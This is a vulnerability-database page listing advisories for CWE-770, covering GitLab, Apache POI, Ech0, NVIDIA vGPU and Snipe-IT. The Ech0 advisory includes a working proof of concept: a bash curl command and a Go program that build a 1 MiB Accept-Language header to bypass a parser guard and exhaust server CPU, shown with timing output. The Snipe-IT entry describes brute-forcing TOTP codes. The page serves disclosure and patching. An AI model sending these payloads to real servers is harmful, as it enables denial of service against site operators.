CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3049 vulnerabilities reference this CWE, most recent first.
GHSA-MQC7-7G5H-6J4R
Vulnerability from github – Published: 2025-09-26 09:31 – Updated: 2025-09-26 09:31An issue has been discovered in GitLab CE/EE affecting all versions from 18.1 before 18.2.7, 18.3 before 18.3.3, and 18.4 before 18.4.1 that could have allowed an authenticated user to create a denial-of-service condition by exploiting an unprotected GraphQL API through repeated requests.
{
"affected": [],
"aliases": [
"CVE-2025-10867"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-26T09:15:31Z",
"severity": "LOW"
},
"details": "An issue has been discovered in GitLab CE/EE affecting all versions from 18.1 before 18.2.7, 18.3 before 18.3.3, and 18.4 before 18.4.1 that could have allowed an authenticated user to create a denial-of-service condition by exploiting an unprotected GraphQL API through repeated requests.",
"id": "GHSA-mqc7-7g5h-6j4r",
"modified": "2025-09-26T09:31:11Z",
"published": "2025-09-26T09:31:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10867"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/517757"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-MQVP-7RRG-9JXC
Vulnerability from github – Published: 2022-03-05 00:00 – Updated: 2024-05-15 06:54A shortcoming in the HMEF package of poi-scratchpad (Apache POI) allows an attacker to cause an Out of Memory exception. This package is used to read TNEF files (Microsoft Outlook and Microsoft Exchange Server). If an application uses poi-scratchpad to parse TNEF files and the application allows untrusted users to supply them, then a carefully crafted file can cause an Out of Memory exception. This issue affects poi-scratchpad version 5.2.0 and prior versions. Users are recommended to upgrade to poi-scratchpad 5.2.1.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.apache.poi:poi-scratchpad"
},
"ranges": [
{
"events": [
{
"introduced": "3.8-beta1"
},
{
"fixed": "5.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-26336"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2022-03-07T16:12:37Z",
"nvd_published_at": "2022-03-04T16:15:00Z",
"severity": "MODERATE"
},
"details": "A shortcoming in the HMEF package of poi-scratchpad (Apache POI) allows an attacker to cause an Out of Memory exception. This package is used to read TNEF files (Microsoft Outlook and Microsoft Exchange Server). If an application uses poi-scratchpad to parse TNEF files and the application allows untrusted users to supply them, then a carefully crafted file can cause an Out of Memory exception. This issue affects poi-scratchpad version 5.2.0 and prior versions. Users are recommended to upgrade to poi-scratchpad 5.2.1.",
"id": "GHSA-mqvp-7rrg-9jxc",
"modified": "2024-05-15T06:54:28Z",
"published": "2022-03-05T00:00:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-26336"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread/sprg0kq986pc2271dc3v2oxb1f9qx09j"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20221028-0006"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Input Validation and Allocation of Resources Without Limits or Throttling in poi-scratchpad"
}
GHSA-MQXV-9RM6-W8QC
Vulnerability from github – Published: 2026-07-14 19:58 – Updated: 2026-07-14 19:58Summary
Ech0's i18n middleware runs on every HTTP request and constructs a fresh *goi18n.Localizer from the raw Accept-Language header without imposing any size or shape filter. goi18n.NewLocalizer calls golang.org/x/text/language.ParseAcceptLanguage on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of - characters in the input at 1000, but it does not cap _ characters even though the parser's internal scanner aliases _ to - before parsing. A single unauthenticated GET request with an Accept-Language header built out of _ separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.
Affected versions
github.com/lin-snow/Ech0 v4.8.2 and (per code inspection of main) earlier 4.x versions that wire the internal/i18n.Middleware() gin middleware on the global router without imposing their own size limit on Accept-Language. Verified on:
- the official
ghcr.io/lin-snow/ech0:latestDocker image at v4.8.2 (E2E below) mainat commit451c7c10eb1f23f7525c163e83f8b39f46d5aad0by readinginternal/i18n/i18n.go(the middleware andsetLocaleContextcall site are unchanged)
Privilege required
Unauthenticated. The i18n.Middleware runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated /api/echo/page endpoint.
Vulnerable code
internal/i18n/i18n.go (blob SHA 451c7c10eb1f23f7525c163e83f8b39f46d5aad0), the gin middleware Middleware() at lines 202-213:
func Middleware() gin.HandlerFunc {
return func(ctx *gin.Context) {
explicit := explicitLocaleFromRequest(ctx)
acceptLanguage := strings.TrimSpace(ctx.GetHeader("Accept-Language"))
locale := systemDefaultLocale()
if explicit != "" {
locale = ResolveLocale(explicit, acceptLanguage)
}
setLocaleContext(ctx, locale, acceptLanguage)
ctx.Next()
}
}
setLocaleContext at line 191 then calls NewLocalizer(normalized, acceptLanguage):
func setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {
if ctx == nil {
return
}
normalized := ResolveLocale(locale)
localizer := NewLocalizer(normalized, acceptLanguage)
ctx.Set(ContextLocaleKey, normalized)
ctx.Set(ContextLocalizerKey, localizer)
ctx.Header("Content-Language", normalized)
}
NewLocalizer is a thin wrapper around goi18n.NewLocalizer, which internally calls language.ParseAcceptLanguage(lang) for every passed string in its parseTags helper (see github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50). So the unfiltered acceptLanguage reaches language.ParseAcceptLanguage on every request.
ctx.GetHeader("Accept-Language") is the unfiltered HTTP header. Go's default net/http MaxHeaderBytes is 1 << 20 = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.
The additional ResolveLocale path at line 208 also calls language.ParseAcceptLanguage(strings.Join(parts, ",")) directly when X-Locale or the lang query parameter is set, with the same vector and a longer-running effect (the input concatenates explicit + acceptLanguage so the parser sees both, and the path is exercised twice).
CVE-2022-32149 hardened ParseAcceptLanguage by counting - characters and rejecting inputs with more than 1000 of them. The guard does not count _ characters even though the scanner converts _ to - at parse time (golang.org/x/text/internal/language/parse.go). A 1 MiB header full of 9-character _abcdefghi tokens contains zero - characters, passes the guard, and then drives the scanner into the O(N²) gobble path.
How Accept-Language reaches ParseAcceptLanguage
The middleware sequence on any HTTP request:
- The request enters
i18n.Middleware(). ctx.GetHeader("Accept-Language")returns the full attacker-supplied header value.setLocaleContextis called with that value.NewLocalizer(normalized, acceptLanguage)constructs a goi18n localizer; goi18n'sparseTagscallslanguage.ParseAcceptLanguage(acceptLanguage)unfiltered.
No size or character-class filter is applied between (2) and (4). When X-Locale or ?lang= is also present, the parser is invoked twice on related input via the explicit ResolveLocale(explicit, acceptLanguage) path at line 210.
Proof of concept
Single-line bash reproducer that crafts the malicious header and times one request against a fresh ghcr.io/lin-snow/ech0:latest container:
docker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest
sleep 5
PAYLOAD="en$(python3 -c 'print("_abcdefghi" * 100000, end="")')"
echo "header size = ${#PAYLOAD} bytes"
curl -sS -o /dev/null \
-w 'http=%{http_code} t=%{time_total}\n' \
-H "Accept-Language: ${PAYLOAD}" \
http://127.0.0.1:18300/
Each 9-character _abcdefghi token has length 9, which fails the scanner's len <= 8 tag-length check at golang.org/x/text/internal/language/parse.go and triggers a gobble call that runtime.memmoves the entire remaining buffer. With N invalid tokens the total bytes moved by gobble is O(N²).
End-to-end reproduction (against ghcr.io/lin-snow/ech0:latest at v4.8.2)
A Go driver poc.go boots the container, sends a 1 MiB Accept-Language value once with - (CVE-2022-32149 guard fires) and once with _ (guard bypassed):
// poc.go
package main
import (
"fmt"
"io"
"net"
"net/http"
"strings"
"time"
)
const targetURL = "http://127.0.0.1:18300/"
func buildPayload(sep string, targetBytes int) string {
const tok = "abcdefghi"
var b strings.Builder
b.Grow(targetBytes + 16)
b.WriteString("en")
for b.Len()+1+len(tok) <= targetBytes {
b.WriteString(sep)
b.WriteString(tok)
}
return b.String()
}
func send(label, header string) {
client := &http.Client{
Timeout: 60 * time.Second,
Transport: &http.Transport{
DisableKeepAlives: true,
DialContext: (&net.Dialer{Timeout: 5 * time.Second}).DialContext,
},
}
req, _ := http.NewRequest("GET", targetURL, nil)
if header != "" {
req.Header.Set("Accept-Language", header)
}
t0 := time.Now()
resp, err := client.Do(req)
dt := time.Since(t0)
if err != nil {
fmt.Printf(" %-32s ERR after %v: %v\n", label, dt, err)
return
}
_, _ = io.Copy(io.Discard, resp.Body)
resp.Body.Close()
fmt.Printf(" %-32s header=%d B '_'=%d '-'=%d status=%d t=%v\n",
label, len(header),
strings.Count(header, "_"), strings.Count(header, "-"),
resp.StatusCode, dt)
}
func main() {
send("warm-up", "")
send("baseline (no header)", "")
send("baseline (1 short tag)", "en-US")
send("guard-fires ('-' x 1MiB)", buildPayload("-", 1<<20))
send("attack ('_' x 1MiB)", buildPayload("_", 1<<20))
send("attack repeat 2", buildPayload("_", 1<<20))
send("attack repeat 3", buildPayload("_", 1<<20))
}
Captured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official ghcr.io/lin-snow/ech0:latest image at v4.8.2):
E2E: golang/x/text ParseAcceptLanguage '_' bypass through
lin-snow/Ech0 v4.8.2 i18n middleware at
internal/i18n/i18n.go (Middleware -> setLocaleContext -> NewLocalizer).
Target: http://127.0.0.1:18300/ payload=1048576 B
warm-up header=0 B '_'=0 '-'=0 status=200 t=7.692458ms
--- measurements (single request each) ---
baseline (no header) header=0 B '_'=0 '-'=0 status=200 t=2.666625ms
baseline (1 short tag) header=5 B '_'=0 '-'=1 status=200 t=1.981333ms
guard-fires control ('-' x payload) header=1048572 B '_'=0 '-'=104857 status=200 t=21.445083ms
attack ('_' x payload) header=1048572 B '_'=104857 '-'=0 status=200 t=1.489513083s
attack repeat 2 header=1048572 B '_'=104857 '-'=0 status=200 t=1.501842542s
attack repeat 3 header=1048572 B '_'=104857 '-'=0 status=200 t=1.571093458s
Setting X-Locale: en in addition (which triggers the explicit-locale ResolveLocale path at line 210, calling ParseAcceptLanguage(strings.Join(parts, ",")) directly) makes the same request take ~7.9 s on the same host — the attacker doubles the work by adding one short header. Setting ?lang=en in the query gives ~3 s.
Interpretation:
| Request | Header bytes | Server time |
|---|---|---|
| no header / short tag | 0 - 5 | 2 - 8 ms |
1 MiB - separators (CVE-2022-32149 guard fires) |
1 MiB | 21 ms |
1 MiB _ separators (guard bypassed), no X-Locale |
1 MiB | 1.5 - 1.6 s |
1 MiB _ separators with X-Locale: en |
1 MiB | ~7.9 s |
The - control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The _ attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte X-Locale: en header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.
Impact
- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the
X-Locale: enheader. - Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.
- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.
- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.
Suggested fix
Apply the size / character-class filter at the i18n middleware boundary, before the Accept-Language value reaches setLocaleContext (and through it NewLocalizer). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count _ alongside - and drop the header when the total exceeds a small ceiling:
// internal/i18n/i18n.go
const maxAcceptLanguageSeparators = 32 // real browsers send < 10
func sanitizeAcceptLanguage(v string) string {
if strings.Count(v, "-")+strings.Count(v, "_") > maxAcceptLanguageSeparators {
return ""
}
return v
}
func Middleware() gin.HandlerFunc {
return func(ctx *gin.Context) {
explicit := explicitLocaleFromRequest(ctx)
acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader("Accept-Language")))
locale := systemDefaultLocale()
if explicit != "" {
locale = ResolveLocale(explicit, acceptLanguage)
}
setLocaleContext(ctx, locale, acceptLanguage)
ctx.Next()
}
}
The same sanitizeAcceptLanguage should be applied wherever Accept-Language is consumed (HeaderLocale at line 230 and the user.go paths at lines 80, 275 that pass user input into ResolveLocale).
A real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.
The underlying issue is in golang.org/x/text/language. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.
Credit
Reported by tonghuaroot.
Fix PR
https://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 5.0.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/lin-snow/ech0"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-772"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-14T19:58:54Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nEch0\u0027s i18n middleware runs on every HTTP request and constructs a fresh `*goi18n.Localizer` from the raw `Accept-Language` header without imposing any size or shape filter. `goi18n.NewLocalizer` calls `golang.org/x/text/language.ParseAcceptLanguage` on the value internally. The underlying parser has quadratic-time behaviour on long lists of malformed language tags. The CVE-2022-32149 guard that golang.org/x/text added in v0.3.8 caps the number of `-` characters in the input at 1000, but it does not cap `_` characters even though the parser\u0027s internal scanner aliases `_` to `-` before parsing. A single unauthenticated GET request with an `Accept-Language` header built out of `_` separators burns about 1.5 seconds of server CPU on the host running Ech0; ten concurrent attackers saturate a ten-core box for the duration of the attack while consuming ~10 MiB/s of upstream bandwidth.\n\n### Affected versions\n\n`github.com/lin-snow/Ech0` v4.8.2 and (per code inspection of `main`) earlier 4.x versions that wire the `internal/i18n.Middleware()` gin middleware on the global router without imposing their own size limit on `Accept-Language`. Verified on:\n\n- the official `ghcr.io/lin-snow/ech0:latest` Docker image at v4.8.2 (E2E below)\n- `main` at commit `451c7c10eb1f23f7525c163e83f8b39f46d5aad0` by reading `internal/i18n/i18n.go` (the middleware and `setLocaleContext` call site are unchanged)\n\n### Privilege required\n\nUnauthenticated. The `i18n.Middleware` runs for every HTTP request including the public landing page, the public comments feed, and the unauthenticated `/api/echo/page` endpoint.\n\n### Vulnerable code\n\n[`internal/i18n/i18n.go`](https://github.com/lin-snow/Ech0/blob/451c7c10eb1f23f7525c163e83f8b39f46d5aad0/internal/i18n/i18n.go) (blob SHA `451c7c10eb1f23f7525c163e83f8b39f46d5aad0`), the gin middleware `Middleware()` at lines 202-213:\n\n```go\nfunc Middleware() gin.HandlerFunc {\n return func(ctx *gin.Context) {\n explicit := explicitLocaleFromRequest(ctx)\n acceptLanguage := strings.TrimSpace(ctx.GetHeader(\"Accept-Language\"))\n locale := systemDefaultLocale()\n if explicit != \"\" {\n locale = ResolveLocale(explicit, acceptLanguage)\n }\n setLocaleContext(ctx, locale, acceptLanguage)\n ctx.Next()\n }\n}\n```\n\n`setLocaleContext` at line 191 then calls `NewLocalizer(normalized, acceptLanguage)`:\n\n```go\nfunc setLocaleContext(ctx *gin.Context, locale, acceptLanguage string) {\n if ctx == nil {\n return\n }\n normalized := ResolveLocale(locale)\n localizer := NewLocalizer(normalized, acceptLanguage)\n ctx.Set(ContextLocaleKey, normalized)\n ctx.Set(ContextLocalizerKey, localizer)\n ctx.Header(\"Content-Language\", normalized)\n}\n```\n\n`NewLocalizer` is a thin wrapper around `goi18n.NewLocalizer`, which internally calls `language.ParseAcceptLanguage(lang)` for every passed string in its `parseTags` helper (see `github.com/nicksnyder/go-i18n/v2@v2.6.0/i18n/localizer.go:42-50`). So the unfiltered `acceptLanguage` reaches `language.ParseAcceptLanguage` on every request.\n\n`ctx.GetHeader(\"Accept-Language\")` is the unfiltered HTTP header. Go\u0027s default `net/http` `MaxHeaderBytes` is `1 \u003c\u003c 20` = 1 MiB and Ech0 does not override it, so the parser is allowed to receive up to a megabyte of attacker-controlled data.\n\nThe additional `ResolveLocale` path at line 208 also calls `language.ParseAcceptLanguage(strings.Join(parts, \",\"))` directly when `X-Locale` or the `lang` query parameter is set, with the same vector and a longer-running effect (the input concatenates `explicit + acceptLanguage` so the parser sees both, and the path is exercised twice).\n\nCVE-2022-32149 hardened `ParseAcceptLanguage` by counting `-` characters and rejecting inputs with more than 1000 of them. The guard does not count `_` characters even though the scanner converts `_` to `-` at parse time ([`golang.org/x/text/internal/language/parse.go`](https://github.com/golang/text/blob/v0.28.0/internal/language/parse.go)). A 1 MiB header full of 9-character `_abcdefghi` tokens contains zero `-` characters, passes the guard, and then drives the scanner into the O(N\u00b2) `gobble` path.\n\n### How `Accept-Language` reaches `ParseAcceptLanguage`\n\nThe middleware sequence on any HTTP request:\n\n1. The request enters `i18n.Middleware()`.\n2. `ctx.GetHeader(\"Accept-Language\")` returns the full attacker-supplied header value.\n3. `setLocaleContext` is called with that value.\n4. `NewLocalizer(normalized, acceptLanguage)` constructs a goi18n localizer; goi18n\u0027s `parseTags` calls `language.ParseAcceptLanguage(acceptLanguage)` unfiltered.\n\nNo size or character-class filter is applied between (2) and (4). When `X-Locale` or `?lang=` is also present, the parser is invoked twice on related input via the explicit `ResolveLocale(explicit, acceptLanguage)` path at line 210.\n\n### Proof of concept\n\nSingle-line bash reproducer that crafts the malicious header and times one request against a fresh `ghcr.io/lin-snow/ech0:latest` container:\n\n```bash\ndocker run -d --name ech0 --rm -p 18300:6277 ghcr.io/lin-snow/ech0:latest\nsleep 5\n\nPAYLOAD=\"en$(python3 -c \u0027print(\"_abcdefghi\" * 100000, end=\"\")\u0027)\"\necho \"header size = ${#PAYLOAD} bytes\"\n\ncurl -sS -o /dev/null \\\n -w \u0027http=%{http_code} t=%{time_total}\\n\u0027 \\\n -H \"Accept-Language: ${PAYLOAD}\" \\\n http://127.0.0.1:18300/\n```\n\nEach 9-character `_abcdefghi` token has length 9, which fails the scanner\u0027s `len \u003c= 8` tag-length check at `golang.org/x/text/internal/language/parse.go` and triggers a `gobble` call that `runtime.memmove`s the entire remaining buffer. With N invalid tokens the total bytes moved by `gobble` is O(N\u00b2).\n\n### End-to-end reproduction (against `ghcr.io/lin-snow/ech0:latest` at v4.8.2)\n\nA Go driver `poc.go` boots the container, sends a 1 MiB `Accept-Language` value once with `-` (CVE-2022-32149 guard fires) and once with `_` (guard bypassed):\n\n```go\n// poc.go\npackage main\n\nimport (\n \"fmt\"\n \"io\"\n \"net\"\n \"net/http\"\n \"strings\"\n \"time\"\n)\n\nconst targetURL = \"http://127.0.0.1:18300/\"\n\nfunc buildPayload(sep string, targetBytes int) string {\n const tok = \"abcdefghi\"\n var b strings.Builder\n b.Grow(targetBytes + 16)\n b.WriteString(\"en\")\n for b.Len()+1+len(tok) \u003c= targetBytes {\n b.WriteString(sep)\n b.WriteString(tok)\n }\n return b.String()\n}\n\nfunc send(label, header string) {\n client := \u0026http.Client{\n Timeout: 60 * time.Second,\n Transport: \u0026http.Transport{\n DisableKeepAlives: true,\n DialContext: (\u0026net.Dialer{Timeout: 5 * time.Second}).DialContext,\n },\n }\n req, _ := http.NewRequest(\"GET\", targetURL, nil)\n if header != \"\" {\n req.Header.Set(\"Accept-Language\", header)\n }\n t0 := time.Now()\n resp, err := client.Do(req)\n dt := time.Since(t0)\n if err != nil {\n fmt.Printf(\" %-32s ERR after %v: %v\\n\", label, dt, err)\n return\n }\n _, _ = io.Copy(io.Discard, resp.Body)\n resp.Body.Close()\n fmt.Printf(\" %-32s header=%d B \u0027_\u0027=%d \u0027-\u0027=%d status=%d t=%v\\n\",\n label, len(header),\n strings.Count(header, \"_\"), strings.Count(header, \"-\"),\n resp.StatusCode, dt)\n}\n\nfunc main() {\n send(\"warm-up\", \"\")\n send(\"baseline (no header)\", \"\")\n send(\"baseline (1 short tag)\", \"en-US\")\n send(\"guard-fires (\u0027-\u0027 x 1MiB)\", buildPayload(\"-\", 1\u003c\u003c20))\n send(\"attack (\u0027_\u0027 x 1MiB)\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 2\", buildPayload(\"_\", 1\u003c\u003c20))\n send(\"attack repeat 3\", buildPayload(\"_\", 1\u003c\u003c20))\n}\n```\n\nCaptured run output (Apple M1 Pro, darwin/arm64, Go 1.26.1, the official `ghcr.io/lin-snow/ech0:latest` image at v4.8.2):\n\n```\nE2E: golang/x/text ParseAcceptLanguage \u0027_\u0027 bypass through\nlin-snow/Ech0 v4.8.2 i18n middleware at\ninternal/i18n/i18n.go (Middleware -\u003e setLocaleContext -\u003e NewLocalizer).\n\nTarget: http://127.0.0.1:18300/ payload=1048576 B\n\n warm-up header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=7.692458ms\n\n--- measurements (single request each) ---\n baseline (no header) header=0 B \u0027_\u0027=0 \u0027-\u0027=0 status=200 t=2.666625ms\n baseline (1 short tag) header=5 B \u0027_\u0027=0 \u0027-\u0027=1 status=200 t=1.981333ms\n guard-fires control (\u0027-\u0027 x payload) header=1048572 B \u0027_\u0027=0 \u0027-\u0027=104857 status=200 t=21.445083ms\n attack (\u0027_\u0027 x payload) header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.489513083s\n attack repeat 2 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.501842542s\n attack repeat 3 header=1048572 B \u0027_\u0027=104857 \u0027-\u0027=0 status=200 t=1.571093458s\n```\n\nSetting `X-Locale: en` in addition (which triggers the explicit-locale `ResolveLocale` path at line 210, calling `ParseAcceptLanguage(strings.Join(parts, \",\"))` directly) makes the same request take ~7.9 s on the same host \u2014 the attacker doubles the work by adding one short header. Setting `?lang=en` in the query gives ~3 s.\n\nInterpretation:\n\n| Request | Header bytes | Server time |\n|------------------------------------------|--------------|-------------|\n| no header / short tag | 0 - 5 | 2 - 8 ms |\n| 1 MiB `-` separators (CVE-2022-32149 guard fires) | 1 MiB | 21 ms |\n| 1 MiB `_` separators (guard bypassed), no X-Locale | 1 MiB | 1.5 - 1.6 s |\n| 1 MiB `_` separators with X-Locale: en | 1 MiB | ~7.9 s |\n\nThe `-` control proves that the existing CVE-2022-32149 guard does still work on the canonical separator. The `_` attack returns 200 from the same endpoint but consumes ~1.5 s of server CPU on the default path and ~7.9 s when the attacker adds a one-byte `X-Locale: en` header. The amplification factor at the application boundary is ~70x in the default case (21 ms guard-fires vs 1.5 s attack on the same 1 MiB header) and ~370x in the X-Locale variant.\n\n### Impact\n\n- One unauthenticated client can pin one CPU core for ~1.5 seconds per 1 MiB request, or ~7.9 seconds if the attacker adds the `X-Locale: en` header.\n- Ten concurrent attackers using ~10 MiB/s of upstream bandwidth pin a 10-core Ech0 instance indefinitely.\n- The endpoint returns 200 OK, so the attack does not surface as abnormal traffic in standard 4xx/5xx dashboards.\n- Self-hosted Ech0 instances published to the public internet (the documented use case) are exposed.\n\n### Suggested fix\n\nApply the size / character-class filter at the i18n middleware boundary, before the `Accept-Language` value reaches `setLocaleContext` (and through it `NewLocalizer`). The smallest change that preserves the existing behaviour for legitimate Accept-Language headers is to count `_` alongside `-` and drop the header when the total exceeds a small ceiling:\n\n```go\n// internal/i18n/i18n.go\nconst maxAcceptLanguageSeparators = 32 // real browsers send \u003c 10\n\nfunc sanitizeAcceptLanguage(v string) string {\n if strings.Count(v, \"-\")+strings.Count(v, \"_\") \u003e maxAcceptLanguageSeparators {\n return \"\"\n }\n return v\n}\n\nfunc Middleware() gin.HandlerFunc {\n return func(ctx *gin.Context) {\n explicit := explicitLocaleFromRequest(ctx)\n acceptLanguage := sanitizeAcceptLanguage(strings.TrimSpace(ctx.GetHeader(\"Accept-Language\")))\n locale := systemDefaultLocale()\n if explicit != \"\" {\n locale = ResolveLocale(explicit, acceptLanguage)\n }\n setLocaleContext(ctx, locale, acceptLanguage)\n ctx.Next()\n }\n}\n```\n\nThe same `sanitizeAcceptLanguage` should be applied wherever `Accept-Language` is consumed (`HeaderLocale` at line 230 and the `user.go` paths at lines 80, 275 that pass user input into `ResolveLocale`).\n\nA real Accept-Language header from a browser contains under 10 separators, so a ceiling of 32 leaves plenty of headroom while making the quadratic blow-up impossible.\n\nThe underlying issue is in `golang.org/x/text/language`. A future upstream fix is the right long-term solution; the change above is defensive-in-depth at the middleware that consumes attacker input.\n\n### Credit\n\nReported by tonghuaroot.\n\n### Fix PR\n\nhttps://github.com/lin-snow/Ech0-ghsa-mqxv-9rm6-w8qc/pull/1",
"id": "GHSA-mqxv-9rm6-w8qc",
"modified": "2026-07-14T19:58:54Z",
"published": "2026-07-14T19:58:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lin-snow/Ech0/security/advisories/GHSA-mqxv-9rm6-w8qc"
},
{
"type": "PACKAGE",
"url": "https://github.com/lin-snow/Ech0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Ech0: ParseAcceptLanguage `_` separator bypass enables ~70x CPU amplification via Accept-Language header in i18n.Middleware"
}
GHSA-MR62-X8VH-X4G5
Vulnerability from github – Published: 2022-05-24 17:38 – Updated: 2022-05-24 17:38NVIDIA Virtual GPU Manager NVIDIA vGPU manager contains a vulnerability in the vGPU plugin in which it allows guests to allocate some resources for which the guest is not authorized, which may lead to integrity and confidentiality loss, denial of service, or information disclosure. This affects vGPU version 8.x (prior to 8.6) and version 11.0 (prior to 11.3).
{
"affected": [],
"aliases": [
"CVE-2021-1057"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-01-08T15:15:00Z",
"severity": "HIGH"
},
"details": "NVIDIA Virtual GPU Manager NVIDIA vGPU manager contains a vulnerability in the vGPU plugin in which it allows guests to allocate some resources for which the guest is not authorized, which may lead to integrity and confidentiality loss, denial of service, or information disclosure. This affects vGPU version 8.x (prior to 8.6) and version 11.0 (prior to 11.3).",
"id": "GHSA-mr62-x8vh-x4g5",
"modified": "2022-05-24T17:38:24Z",
"published": "2022-05-24T17:38:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1057"
},
{
"type": "WEB",
"url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5142"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-MR8G-2MJ4-PCQ2
Vulnerability from github – Published: 2026-06-23 22:32 – Updated: 2026-06-23 22:32Impact
POST /two-factor had no rate limiting, lockout, or attempt counter. An attacker with valid credentials can submit unlimited TOTP guesses. The TOTP implementation accepts the current code plus one step on either side (config/google2fa.php window=1), so at any instant 3 of 1,000,000 codes are accepted.
After a correct guess the attacker holds a fully authenticated session. If the instance is configured with 2FA in optional mode (two_factor_enabled='1'), the attacker can additionally disable 2FA via POST /account/profile with two_factor_optin=0. No OTP re-verification is required. The account is then accessible with the password alone on future logins. If 2FA is in required-for-all mode (='2'), the per-user opt-out path is closed and the impact stops at session-level account takeover. For an admin target, POST /api/v1/users/two_factor_reset additionally clears another user's 2FA secret.
Patches
Patched in v8.6.0
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "snipe/snipe-it"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.6.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-49870"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T22:32:04Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Impact\n`POST /two-factor` had no rate limiting, lockout, or attempt counter. An attacker with valid credentials can submit unlimited TOTP guesses. The TOTP implementation accepts the current code plus one step on either side (`config/google2fa.php window=1`), so at any instant 3 of 1,000,000 codes are accepted.\n\nAfter a correct guess the attacker holds a fully authenticated session. If the instance is configured with 2FA in optional mode (`two_factor_enabled=\u00271\u0027`), the attacker can additionally disable 2FA via `POST /account/profile` with `two_factor_optin=0`. No OTP re-verification is required. The account is then accessible with the password alone on future logins. If 2FA is in required-for-all mode (`=\u00272\u0027`), the per-user opt-out path is closed and the impact stops at session-level account takeover. For an admin target, `POST /api/v1/users/two_factor_reset` additionally clears another user\u0027s 2FA secret.\n\n### Patches\nPatched in v8.6.0",
"id": "GHSA-mr8g-2mj4-pcq2",
"modified": "2026-06-23T22:32:04Z",
"published": "2026-06-23T22:32:04Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/grokability/snipe-it/security/advisories/GHSA-mr8g-2mj4-pcq2"
},
{
"type": "PACKAGE",
"url": "https://github.com/grokability/snipe-it"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
